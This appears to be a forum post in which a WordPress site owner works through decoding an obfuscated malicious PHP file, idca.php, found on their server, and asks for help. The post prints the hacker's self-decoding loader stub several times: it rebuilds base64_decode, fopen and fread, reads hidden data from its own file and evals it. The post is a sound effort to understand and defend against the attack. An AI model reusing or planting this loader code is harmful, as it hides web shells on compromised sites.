Analyzing Wordpress Hack: decrypting idca.php

Analyzing Wordpress Hack: decrypting idca.php

I found some nasty code on my server and I'm trying to decrypt it to
figure out anything I can about this attack to prevent it in the future.
The entire php file is a giant mess of a block of text, but before the
charactervomit is this:
<?php /* Coded By ./Cyber404 & Encryted By Mr-GanDrunX
*/$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x4A2B0;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NTE0KTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdFbnRlcnlvdXdraFJIWUtOV09VVEFhQmJDY0RkRmZHZ0lpSmpMbE1tUHBRcVNzVnZYeFp6M
DEyMzQ1Njc4OSsvPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>
I've worked it down by removing the hex:
<?php /* Coded By ./Cyber404 & Encryted By Mr-GanDrunX
*/$OOO000000=urldecode('fg6sbehpra4co_tnd');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x4A2B0;$O000O0O00=$OOO000O00($OOO0O0O00,'rb');$O0O00OO00($O000O0O00,0x514);$OO00O00O0=$OOO0000O0($OOO00000O($O0O00OO00($O000O0O00,0x17c),'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'));eval($OO00O00O0);return;?>
Resolved some of that and found this:

<?php /* Coded By ./Cyber404 & Encryted By Mr-GanDrunX
*/$OOO000000=urldecode('fg6sbehpra4co_tnd');$OOO0000O0=base64_decode;$OOO000O00=fopen;$O0O000O00=fget;$O0O000O0O=fgetc;$O0O000O00=fgets;$O0O00OO00=fread;$OOO00000O=strtr;$OOO0O0O00=__FILE__;$OO00O0000=0x4A2B0;eval(base64_decode('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NTE0KTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdFbnRlcnlvdXdraFJIWUtOV09VVEFhQmJDY0RkRmZHZ0lpSmpMbE1tUHBRcVNzVnZYeFp6MDEyMzQ1Njc4OSsvPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>
These were resolved from the urldecode: $OOO0000O0=base64_decode
$OOO000O00=fopen
$O0O000O00=fget
$O0O000O0O=fgetc
$O0O000O00=fgets
$O0O00OO00=fread
$OOO00000O=strtr

Then decoded this from ddecode.com:
eval(base64_decode('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NTE0KTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdFbnRlcnlvdXdraFJIWUtOV09VVEFhQmJDY0RkRmZHZ0lpSmpMbE1tUHBRcVNzVnZYeFp6MDEyMzQ1Njc4OSsvPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='))
Decoded to this:
$O000O0O00=$OOO000O00($OOO0O0O00,'rb');$O0O00OO00($O000O0O00,0x514);$OO00O00O0=$OOO0000O0($OOO00000O($O0O00OO00($O000O0O00,0x17c),'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'));eval($OO00O00O0);
more replacing and it looks like this:
<?php /* Coded By ./Cyber404 & Encryted By Mr-GanDrunX
*/$OOO000000=urldecode('fg6sbehpra4co_tnd');$OOO0000O0=base64_decode;$OOO000O00=fopen;$O0O000O00=fget;$O0O000O0O=fgetc;$O0O000O00=fgets;$O0O00OO00=fread;$OOO00000O=strtr;$OOO0O0O00=__FILE__;$OO00O0000=0x4A2B0;$O000O0O00=fopen(__FILE__,'rb');fread(fopen(__FILE__,'rb'),0x514);$OO00O00O0=base64_decode(strtr(fread(fopen(__FILE__,'rb'),0x17c),'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'));eval(base64_decode(strtr(fread(fopen(__FILE__,'rb'),0x17c),'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')));return;?>
This is where I am stuck.. I tried to decode from the same site:
eval(base64_decode(strtr(fread(fopen(__FILE__,'rb'),0x17c),'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')))
but it's throwing me an error
I think there might be more simplification I can do with
fread(fopen(FILE,'rb'),0x17c) but I don't know where to go from here and
honestly my head hurts from staring at this decryption on top of
decryption on top of decryption with annoyingly similar var names. Has
anyone experienced something like this?